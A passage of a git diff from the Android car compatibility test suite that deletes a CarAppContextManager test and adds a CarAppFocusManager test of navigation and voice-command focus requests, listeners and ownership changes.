-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="auto" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCarTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index 69750d5..d982c1b 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -26,6 +26,7 @@
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+
 public class CarApiTestBase extends AndroidTestCase {
     protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
 
diff --git a/tests/tests/car/src/android/car/cts/CarAppContextManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppContextManagerTest.java
deleted file mode 100644
index dffdd3e..0000000
--- a/tests/tests/car/src/android/car/cts/CarAppContextManagerTest.java
+++ /dev/null
@@ -1,238 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.car.cts;
-
-import android.car.Car;
-import android.car.CarAppContextManager;
-import android.util.Log;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-public class CarAppContextManagerTest extends CarApiTestBase {
-    private static final String TAG = CarAppContextManager.class.getSimpleName();
-    private CarAppContextManager mManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mManager = (CarAppContextManager) getCar().getCarManager(Car.APP_CONTEXT_SERVICE);
-        assertNotNull(mManager);
-    }
-
-    public void testSetActiveNullListener() throws Exception {
-        try {
-            mManager.setActiveContexts(null, CarAppContextManager.APP_CONTEXT_NAVIGATION);
-            fail();
-        } catch (IllegalStateException e) {
-            // Expected.
-        }
-    }
-
-    public void testRegisterNull() throws Exception {
-        try {
-            mManager.registerContextListener(null, 0);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected.
-        }
-    }
-
-    public void testRegisterUnregister() throws Exception {
-        ContextChangeListener listener = new ContextChangeListener();
-        ContextChangeListener listener2 = new ContextChangeListener();
-        mManager.registerContextListener(listener, 0);
-        mManager.registerContextListener(listener2, 0);
-        mManager.unregisterContextListener();
-        // this one is no-op
-        mManager.unregisterContextListener();
-    }
-
-    public void testContextChange() throws Exception {
-        DefaultServiceConnectionListener connectionListener =
-                new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener, null);
-        car2.connect();
-        connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
-        CarAppContextManager manager2 = (CarAppContextManager)
-                car2.getCarManager(Car.APP_CONTEXT_SERVICE);
-        assertNotNull(manager2);
-
-        assertEquals(0, mManager.getActiveAppContexts());
-        ContextChangeListener change = new ContextChangeListener();
-        ContextChangeListener change2 = new ContextChangeListener();
-        ContextOwnershipChangeListener owner = new ContextOwnershipChangeListener();
-        ContextOwnershipChangeListener owner2 = new ContextOwnershipChangeListener();
-        mManager.registerContextListener(change, CarAppContextManager.APP_CONTEXT_NAVIGATION |
-                CarAppContextManager.APP_CONTEXT_VOICE_COMMAND);
-        manager2.registerContextListener(change2, CarAppContextManager.APP_CONTEXT_NAVIGATION |
-                CarAppContextManager.APP_CONTEXT_VOICE_COMMAND);
-
-        mManager.setActiveContexts(owner, CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        int expectedContexts = CarAppContextManager.APP_CONTEXT_NAVIGATION;
-        assertEquals(expectedContexts, mManager.getActiveAppContexts());
-        assertEquals(expectedContexts, manager2.getActiveAppContexts());
-        assertTrue(mManager.isOwningContext(expectedContexts));
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION |
-                CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertTrue(change2.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
-                expectedContexts));
-        // change should not get notification for its own change
-        assertFalse(change.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-
-        mManager.setActiveContexts(owner, CarAppContextManager.APP_CONTEXT_VOICE_COMMAND);
-        expectedContexts = CarAppContextManager.APP_CONTEXT_NAVIGATION |
-                CarAppContextManager.APP_CONTEXT_VOICE_COMMAND;
-        assertTrue(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertTrue(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertTrue(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION |
-                CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertEquals(expectedContexts, mManager.getActiveAppContexts());
-        assertEquals(expectedContexts, manager2.getActiveAppContexts());
-        assertTrue(change2.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
-                expectedContexts));
-        // change should not get notification for its own change
-        assertFalse(change.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-
-        // this should be no-op
-        mManager.setActiveContexts(owner, CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        assertEquals(expectedContexts, mManager.getActiveAppContexts());
-        assertEquals(expectedContexts, manager2.getActiveAppContexts());
-        assertFalse(change2.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-        assertFalse(change.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-
-        manager2.setActiveContexts(owner2, CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertTrue(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertTrue(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertEquals(expectedContexts, mManager.getActiveAppContexts());
-        assertEquals(expectedContexts, manager2.getActiveAppContexts());
-        assertTrue(owner.waitForOwnershipLossAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
-                CarAppContextManager.APP_CONTEXT_NAVIGATION));
-
-        // no-op as it is not owning it
-        mManager.resetActiveContexts(CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertTrue(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertTrue(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertEquals(expectedContexts, mManager.getActiveAppContexts());
-        assertEquals(expectedContexts, manager2.getActiveAppContexts());
-
-        mManager.resetActiveContexts(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND);
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertTrue(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        expectedContexts = CarAppContextManager.APP_CONTEXT_NAVIGATION;
-        assertEquals(expectedContexts, mManager.getActiveAppContexts());
-        assertEquals(expectedContexts, manager2.getActiveAppContexts());
-        assertTrue(change2.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
-                CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(change.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-
-        manager2.resetActiveContexts(CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(mManager.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        assertFalse(manager2.isOwningContext(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND));
-        expectedContexts = 0;
-        assertEquals(expectedContexts, mManager.getActiveAppContexts());
-        assertEquals(expectedContexts, manager2.getActiveAppContexts());
-        assertTrue(change.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-        mManager.unregisterContextListener();
-        manager2.unregisterContextListener();
-    }
-
-    public void testFilter() throws Exception {
-        DefaultServiceConnectionListener connectionListener =
-                new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener);
-        car2.connect();
-        connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
-        CarAppContextManager manager2 = (CarAppContextManager)
-                car2.getCarManager(Car.APP_CONTEXT_SERVICE);
-        assertNotNull(manager2);
-
-        assertEquals(0, mManager.getActiveAppContexts());
-        ContextChangeListener change = new ContextChangeListener();
-        ContextChangeListener listener = new ContextChangeListener();
-        ContextOwnershipChangeListener owner = new ContextOwnershipChangeListener();
-        mManager.registerContextListener(change, CarAppContextManager.APP_CONTEXT_NAVIGATION |
-                CarAppContextManager.APP_CONTEXT_VOICE_COMMAND);
-        manager2.registerContextListener(listener, CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        mManager.setActiveContexts(owner, CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        assertTrue(listener.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
-                CarAppContextManager.APP_CONTEXT_NAVIGATION));
-        mManager.setActiveContexts(owner, CarAppContextManager.APP_CONTEXT_VOICE_COMMAND);
-        assertFalse(listener.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-        mManager.resetActiveContexts(CarAppContextManager.APP_CONTEXT_VOICE_COMMAND);
-        assertFalse(listener.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-        mManager.resetActiveContexts(CarAppContextManager.APP_CONTEXT_NAVIGATION);
-        assertTrue(listener.waitForContextChangeAndAssert(DEFAULT_WAIT_TIMEOUT_MS, 0));
-    }
-
-    private class ContextChangeListener implements CarAppContextManager.AppContextChangeListener {
-        private int mLastChangeEvent;
-        private final Semaphore mChangeWait = new Semaphore(0);
-
-        public boolean waitForContextChangeAndAssert(long timeoutMs, int expectedContexts)
-                throws Exception {
-            if (!mChangeWait.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS)) {
-                return false;
-            }
-            assertEquals(expectedContexts, mLastChangeEvent);
-            return true;
-        }
-
-        @Override
-        public void onAppContextChange(int activeContexts) {
-            Log.i(TAG, "onAppContextChange " + Integer.toHexString(activeContexts));
-            assertMainThread();
-            mLastChangeEvent = activeContexts;
-            mChangeWait.release();
-        }
-    }
-
-    private class ContextOwnershipChangeListener
-            implements CarAppContextManager.AppContextOwnershipChangeListener {
-        private int mLastLossEvent;
-        private final Semaphore mLossEventWait = new Semaphore(0);
-
-        public boolean waitForOwnershipLossAndAssert(long timeoutMs, int expectedContexts)
-                throws Exception {
-            if (!mLossEventWait.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS)) {
-                return false;
-            }
-            assertEquals(expectedContexts, mLastLossEvent);
-            return true;
-        }
-
-        @Override
-        public void onAppContextOwnershipLoss(int context) {
-            Log.i(TAG, "onAppContextOwnershipLoss " + Integer.toHexString(context));
-            assertMainThread();
-            mLastLossEvent = context;
-            mLossEventWait.release();
-        }
-    }
-}
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
new file mode 100644
index 0000000..d9f144c
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -0,0 +1,390 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static android.car.CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED;
+import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
+import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND;
+
+import android.car.Car;
+import android.car.CarAppFocusManager;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Assert;
+
+
+@SmallTest
+@RequiresDevice
+public class CarAppFocusManagerTest extends CarApiTestBase {
+    private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
+    private CarAppFocusManager mManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mManager = (CarAppFocusManager) getCar().getCarManager(Car.APP_FOCUS_SERVICE);
+        assertNotNull(mManager);
+
+        // Request all application focuses and abandon them to ensure no active context is present
+        // when test starts.
+        FocusOwnershipCallback owner = new FocusOwnershipCallback();
+        mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner);
+        mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, owner);
+        mManager.abandonAppFocus(owner);
+    }
+
+    public void testSetActiveNullListener() throws Exception {
+        try {
+            mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, null);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    public void testRegisterNull() throws Exception {
+        try {
+            mManager.addFocusListener(null, 0);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    public void testRegisterUnregister() throws Exception {
+        FocusChangedListerner listener = new FocusChangedListerner();
+        FocusChangedListerner listener2 = new FocusChangedListerner();
+        mManager.addFocusListener(listener, 1);
+        mManager.addFocusListener(listener2, 1);
+        mManager.removeFocusListener(listener);
+        mManager.removeFocusListener(listener2);
+    }
+
+    public void testFocusChange() throws Exception {
+        DefaultServiceConnectionListener connectionListener =
+                new DefaultServiceConnectionListener();
+        Car car2 = Car.createCar(getContext(), connectionListener, null);
+        car2.connect();
+        connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
+        CarAppFocusManager manager2 = (CarAppFocusManager)
+                car2.getCarManager(Car.APP_FOCUS_SERVICE);
+        assertNotNull(manager2);
+        final int[] emptyFocus = new int[0];
+
+        Assert.assertArrayEquals(emptyFocus, mManager.getActiveAppTypes());
+        FocusChangedListerner change = new FocusChangedListerner();
+        FocusChangedListerner change2 = new FocusChangedListerner();
+        FocusOwnershipCallback owner = new FocusOwnershipCallback();
+        FocusOwnershipCallback owner2 = new FocusOwnershipCallback();
+        mManager.addFocusListener(change, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        mManager.addFocusListener(change, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND);
+        manager2.addFocusListener(change2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        manager2.addFocusListener(change2, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND);
+
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner));
+        assertTrue(owner.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
+        int[] expectedFocuses = new int[] {CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION};
+        Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
+        Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        assertFalse(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(manager2.isOwningFocus(owner2,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, owner));
+        assertTrue(owner.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_VOICE_COMMAND));
+        expectedFocuses = new int[] {
+            CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION,
+            CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND };
+        assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        assertFalse(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(manager2.isOwningFocus(owner2,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
+        Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, true));
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, true));
+
+        // this should be no-op
+        change.reset();
+        change2.reset();
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner));
+        assertTrue(owner.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
+
+        Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
+        Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        assertFalse(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertFalse(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                manager2.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner2));
+        assertTrue(owner2.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
+
+        assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(manager2.isOwningFocus(owner2,
+              CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
+        Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        assertTrue(owner.waitForOwnershipLossAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+
+        // no-op as it is not owning it
+        change.reset();
+        change2.reset();
+        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(manager2.isOwningFocus(owner2,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
+        Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+
+        change.reset();
+        change2.reset();
+        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND);
+        assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(manager2.isOwningFocus(owner2,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        expectedFocuses = new int[] {CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION};
+        Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
+        Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, false));
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, false));
+
+        change.reset();
+        change2.reset();
+        manager2.abandonAppFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        assertFalse(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        assertFalse(manager2.isOwningFocus(owner2,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND));
+        expectedFocuses = emptyFocus;
+        Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
+        Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+        mManager.removeFocusListener(change);
+        manager2.removeFocusListener(change2);
+    }
+
+    public void testFilter() throws Exception {
+        DefaultServiceConnectionListener connectionListener =
+                new DefaultServiceConnectionListener();
+        Car car2 = Car.createCar(getContext(), connectionListener);
+        car2.connect();
+        connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
+        CarAppFocusManager manager2 = (CarAppFocusManager)
+                car2.getCarManager(Car.APP_FOCUS_SERVICE);
+        assertNotNull(manager2);
+
+        Assert.assertArrayEquals(new int[0], mManager.getActiveAppTypes());
+
+        FocusChangedListerner listener = new FocusChangedListerner();
+        FocusChangedListerner listener2 = new FocusChangedListerner();
+        FocusOwnershipCallback owner = new FocusOwnershipCallback();
+        mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND);
+        manager2.addFocusListener(listener2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner));
+        assertTrue(owner.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
+
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertTrue(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+
+        listener.reset();
+        listener2.reset();
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, owner));
+        assertTrue(owner.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_VOICE_COMMAND));
+
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, true));
+        assertFalse(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, true));
+
+        listener.reset();
+        listener2.reset();
+        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND);
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, false));
+        assertFalse(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, false));
+
+        listener.reset();
+        listener2.reset();
+        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+        assertTrue(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+    }
+
+    public void testMultipleChangeListenersPerManager() throws Exception {
+        FocusChangedListerner listener = new FocusChangedListerner();
+        FocusChangedListerner listener2 = new FocusChangedListerner();
+        FocusOwnershipCallback owner = new FocusOwnershipCallback();
+        mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND);
+        mManager.addFocusListener(listener2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner));
+        assertTrue(owner.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
+
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertTrue(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+
+        listener.reset();
+        listener2.reset();
+        assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
+                mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, owner));
+        assertTrue(owner.waitForOwnershipGrantAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_VOICE_COMMAND));
+
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, true));
